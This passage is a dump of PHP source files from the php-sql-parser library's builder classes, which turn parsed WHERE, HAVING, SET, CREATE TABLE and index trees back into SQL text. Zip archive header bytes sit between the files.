            $sql .= $this->buildUserVariable($v);

            if (strlen($sql) == $len) {
                throw new UnableToCreateSQLException('HAVING', $k, $v, 'expr_type');
            }

            $sql .= " ";
        }
        return substr($sql, 0, -1);
    }

}
?>
PK     \82  2  T  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/WhereExpressionBuilder.phpnu [        <?php
/**
 * WhereExpressionBuilder.php
 *
 * Builds expressions within the WHERE part.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for expressions within the WHERE part.
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class WhereExpressionBuilder implements Builder {

    protected function buildColRef($parsed) {
        $builder = new ColumnReferenceBuilder();
        return $builder->build($parsed);
    }

    protected function buildConstant($parsed) {
        $builder = new ConstantBuilder();
        return $builder->build($parsed);
    }

    protected function buildOperator($parsed) {
        $builder = new OperatorBuilder();
        return $builder->build($parsed);
    }

    protected function buildFunction($parsed) {
        $builder = new FunctionBuilder();
        return $builder->build($parsed);
    }

    protected function buildInList($parsed) {
        $builder = new InListBuilder();
        return $builder->build($parsed);
    }

    protected function buildWhereExpression($parsed) {
        return $this->build($parsed);
    }

    protected function buildWhereBracketExpression($parsed) {
        $builder = new WhereBracketExpressionBuilder();
        return $builder->build($parsed);
    }

    protected function buildUserVariable($parsed) {
        $builder = new UserVariableBuilder();
        return $builder->build($parsed);
    }

    protected function buildSubQuery($parsed) {
        $builder = new SubQueryBuilder();
        return $builder->build($parsed);
    }

    protected function buildReserved($parsed) {
      $builder = new ReservedBuilder();
      return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::EXPRESSION) {
            return "";
        }
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildColRef($v);
            $sql .= $this->buildConstant($v);
            $sql .= $this->buildOperator($v);
            $sql .= $this->buildInList($v);
            $sql .= $this->buildFunction($v);
            $sql .= $this->buildWhereExpression($v);
            $sql .= $this->buildWhereBracketExpression($v);
            $sql .= $this->buildUserVariable($v);
            $sql .= $this->buildSubQuery($v);
            $sql .= $this->buildReserved($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('WHERE expression subtree', $k, $v, 'expr_type');
            }

            $sql .= " ";
        }

        $sql = substr($sql, 0, -1);
        return $sql;
    }

}
?>
PK     \91  1  Q  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CharacterSetBuilder.phpnu [        <?php
/**
 * CharacterSetBuilder.php
 *
 * Builds the CHARACTER SET part of a CREATE TABLE statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the CHARACTER SET statement part of CREATE TABLE. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class CharacterSetBuilder implements Builder {

    protected function buildConstant($parsed) {
        $builder = new ConstantBuilder();
        return $builder->build($parsed);
    }

    protected function buildOperator($parsed) {
        $builder = new OperatorBuilder();
        return $builder->build($parsed);
    }

    protected function buildReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::CHARSET) {
            return "";
        }
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildOperator($v);
            $sql .= $this->buildReserved($v);
            $sql .= $this->buildConstant($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('CREATE TABLE options CHARACTER SET subtree', $k, $v, 'expr_type');
            }

            $sql .= " ";
        }
        return substr($sql, 0, -1);
    }
}
?>
PK     \A{Ji  i  R  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/SetExpressionBuilder.phpnu [        <?php
/**
 * SetExpressionBuilder.php
 *
 * Builds the SET part of the INSERT statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the SET part of INSERT statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class SetExpressionBuilder implements Builder {

    protected function buildColRef($parsed) {
        $builder = new ColumnReferenceBuilder();
        return $builder->build($parsed);
    }

    protected function buildConstant($parsed) {
        $builder = new ConstantBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildOperator($parsed) {
        $builder = new OperatorBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildFunction($parsed) {
        $builder = new FunctionBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildBracketExpression($parsed) {
        $builder = new SelectBracketExpressionBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildSign($parsed) {
        $builder = new SignBuilder();
        return $builder->build($parsed);
    }
    
    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::EXPRESSION) {
            return '';
        }
        $sql = '';
        foreach ($parsed['sub_tree'] as $k => $v) {
            $delim = ' ';
            $len = strlen($sql);
            $sql .= $this->buildColRef($v);
            $sql .= $this->buildConstant($v);
            $sql .= $this->buildOperator($v);
            $sql .= $this->buildFunction($v);
            $sql .= $this->buildBracketExpression($v);
                        
            // we don't need whitespace between the sign and 
            // the following part
            if ($this->buildSign($v) !== '') {
                $delim = '';
            }
            $sql .= $this->buildSign($v);
            
            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('SET expression subtree', $k, $v, 'expr_type');
            }

            $sql .= $delim;
        }
        $sql = substr($sql, 0, -1);
        return $sql;
    }
}
?>
PK     \mu    \  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/HavingBracketExpressionBuilder.phpnu [        <?php
/**
 * HavingBracketExpressionBuilder.php
 *
 * Builds bracket expressions within the HAVING part.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for bracket expressions within the HAVING part. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  Ian Barker <ian@theorganicagency.com>
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class HavingBracketExpressionBuilder extends WhereBracketExpressionBuilder {
    
    protected function buildHavingExpression($parsed) {
        $builder = new HavingExpressionBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::BRACKET_EXPRESSION) {
            return "";
        }
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildColRef($v);
            $sql .= $this->buildConstant($v);
            $sql .= $this->buildOperator($v);
            $sql .= $this->buildInList($v);
            $sql .= $this->buildFunction($v);
            $sql .= $this->buildHavingExpression($v);
            $sql .= $this->build($v);
            $sql .= $this->buildUserVariable($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('HAVING expression subtree', $k, $v, 'expr_type');
            }

            $sql .= " ";
        }

        $sql = "(" . substr($sql, 0, -1) . ")";
        return $sql;
    }

}
?>
PK     \=,@    V  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/UnionAllStatementBuilder.phpnu [        <?php
namespace PHPSQLParser\builders;

/**
 * This class implements the builder for the whole UNION ALL statement. You can overwrite
 * all functions to achieve another handling.
 *
 * @author  George Schneeloch <george_schneeloch@hms.harvard.edu>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class UnionAllStatementBuilder implements Builder {



	public function build(array $parsed)
	{
		$sql = '';
		$select_builder = new SelectStatementBuilder();
		$first = true;
		foreach ($parsed['UNION ALL'] as $clause) {
			if (!$first) {
				$sql .= " UNION ALL ";
			}
			else {
				$first = false;
			}

			$sql .= $select_builder->build($clause);
		}
		return $sql;
	}
}PK     \x=    P  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/IndexParserBuilder.phpnu [        <?php
/**
 * IndexParserBuilder.php
 *
 * Builds index parser part of a PRIMARY KEY statement part of CREATE TABLE.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the index parser of a PRIMARY KEY
 * statement part of CREATE TABLE. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class IndexParserBuilder implements Builder {

    protected function buildReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->build($parsed);
    }

    protected function buildConstant($parsed) {
        $builder = new ConstantBuilder();
        return $builder->build($parsed);
    }
    
    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::INDEX_PARSER) {
            return "";
        }
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildReserved($v);
            $sql .= $this->buildConstant($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('CREATE TABLE primary key index parser subtree', $k, $v, 'expr_type');
            }

            $sql .= " ";
        }
        return substr($sql, 0, -1);
    }
}
?>
PK     \c1 E  E  W  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CreateIndexOptionsBuilder.phpnu [        <?php
/**
 * CreateIndexOptionsBuilder.php
 *
 * Builds index options part of a CREATE INDEX statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;

/**
 * This class implements the builder for the index options of a CREATE INDEX
 * statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class CreateIndexOptionsBuilder implements Builder {

    protected function buildIndexParser($parsed) {
        $builder = new IndexParserBuilder();
        return $builder->build($parsed);
    }

    protected function buildIndexSize($parsed) {
        $builder = new IndexSizeBuilder();
        return $builder->build($parsed);
    }

    protected function buildIndexType($parsed) {
        $builder = new IndexTypeBuilder();
        return $builder->build($parsed);
    }

    protected function buildIndexComment($parsed) {
        $builder = new IndexCommentBuilder();
        return $builder->build($parsed);
    }

    protected function buildIndexAlgorithm($parsed) {
        $builder = new IndexAlgorithmBuilder();
        return $builder->build($parsed);
    }

    protected function buildIndexLock($parsed) {
        $builder = new IndexLockBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if ($parsed['options'] === false) {
            return '';
        }
        $sql = '';
        foreach ($parsed['options'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildIndexAlgorithm($v);
            $sql .= $this->buildIndexLock($v);
            $sql .= $this->buildIndexComment($v);
            $sql .= $this->buildIndexParser($v);
            $sql .= $this->buildIndexSize($v);
            $sql .= $this->buildIndexType($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('CREATE INDEX options', $k, $v, 'expr_type');
            }

            $sql .= ' ';
        }
        return ' ' . substr($sql, 0, -1);
    }
}
?>
PK     \Ȉv	  v	  Q  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/GroupByAliasBuilder.phpnu [        <?php
/**
 * GroupByAliasBuilder.php
 *
 * Builds an alias within a GROUP-BY clause.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for an alias within the GROUP-BY clause. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class GroupByAliasBuilder implements Builder {

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::ALIAS) {
            return "";
        }
        return $parsed['base_expr'];
    }
}
?>
PK     \    W  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CreateTableOptionsBuilder.phpnu [        <?php
/**
 * CreateTableOptionsBuilder.php
 *
 * Builds the table-options statement part of CREATE TABLE.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;

/**
 * This class implements the builder for the table-options statement part of CREATE TABLE. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class CreateTableOptionsBuilder implements Builder {

    protected function buildExpression($parsed) {
        $builder = new SelectExpressionBuilder();
        return $builder->build($parsed);
    }

    protected function buildCharacterSet($parsed) {
        $builder = new CharacterSetBuilder();
        return $builder->build($parsed);
    }

    protected function buildCollation($parsed) {
        $builder = new CollationBuilder();
        return $builder->build($parsed);
    }

    /**
     * Returns a well-formatted delimiter string. If you don't need nice SQL,
     * you could simply return $parsed['delim'].
     * 
     * @param array $parsed The part of the output array, which contains the current expression.
     * @return a string, which is added right after the expression
     */
    protected function getDelimiter($parsed) {
        return ($parsed['delim'] === false ? '' : (trim($parsed['delim']) . ' '));
    }

    public function build(array $parsed) {
        if (!isset($parsed['options']) || $parsed['options'] === false) {
            return "";
        }
        $options = $parsed['options'];
        $sql = "";
        foreach ($options as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildExpression($v);
            $sql .= $this->buildCharacterSet($v);
            $sql .= $this->buildCollation($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('CREATE TABLE options', $k, $v, 'expr_type');
            }

            $sql .= $this->getDelimiter($v);
        }
        return " " . substr($sql, 0, -1);
    }
}
?>
PK     \4`.G
  G
  \  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CreateTableSelectOptionBuilder.phpnu [        <?php
/**
 * CreateTableSelectOptionBuilder.php
 *
 * Builds the select-options statement part of CREATE TABLE.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
